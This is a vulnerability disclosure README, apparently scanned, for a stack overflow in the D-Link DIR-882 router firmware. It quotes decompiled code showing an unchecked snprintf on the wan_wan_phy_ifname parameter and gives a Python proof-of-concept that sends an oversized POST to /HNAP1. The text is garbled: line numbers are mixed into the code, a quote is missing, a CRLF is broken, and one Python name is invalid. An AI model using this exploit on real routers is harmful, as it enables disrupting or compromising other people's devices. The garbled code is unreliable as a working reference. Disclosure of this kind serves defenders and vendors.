

adme.md

D-Link DIR-882(1.10B02, 1.20B06) has a Stack Overflow Vulnerability

Product

- $1. \ product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-882$
- 2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6573

Affected version

1.10B02, 1.20B06

Vulnerability

```
serviceApplyAction(v18, 5u, (int)"stop_vlanwanall");
v29 = webGetVarString(a1, (int)"/SetVLANSettings/PriorityEnabled");
v37 = (const char *)nvram_safe_get("wan_wan_phy_ifname");
v35 = webGetVarString(a1, (int) /SetVLANSettings/ISPName");
nvram_safe_set("ISPName", v35);
if (!strcmp(v19, "true"))

{
```

In sub_46D180 function, wan_wan_phy_ifname is controllable and will be passed into the v37. Then, v37 will be spliced into v50 by snprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

```
if (!strcmp(v37, v47))
 206
  207
                   if ( atoi(v20) )
208
                     snprintf(v50, v36, "%s %s.%s", v50, v37, v20);
209
                   else
  210
211
                     snprintf(v50, v36, "%s %s", v50, v37);
212
                   if ( atoi(v21) )
                     snprintf(v50, v36, "%s %s.%s", v50, v37, v21);
213
  214
                   else
 215
                     snprintf(v50, v36, "%s %s", v50, v37);
 216
                   if ( atoi(v22) )
                     snprintf(v50, v36, "%s %s.%s", v50, v37, v22);
217
  218
219
                     snprintf(v50, v36, "%s %s", v50, v37);
  220
  221
                 else
  222
```

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'wan_wan_phy_ifname=' + p1
p3 = b"POST /HNAP1" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```



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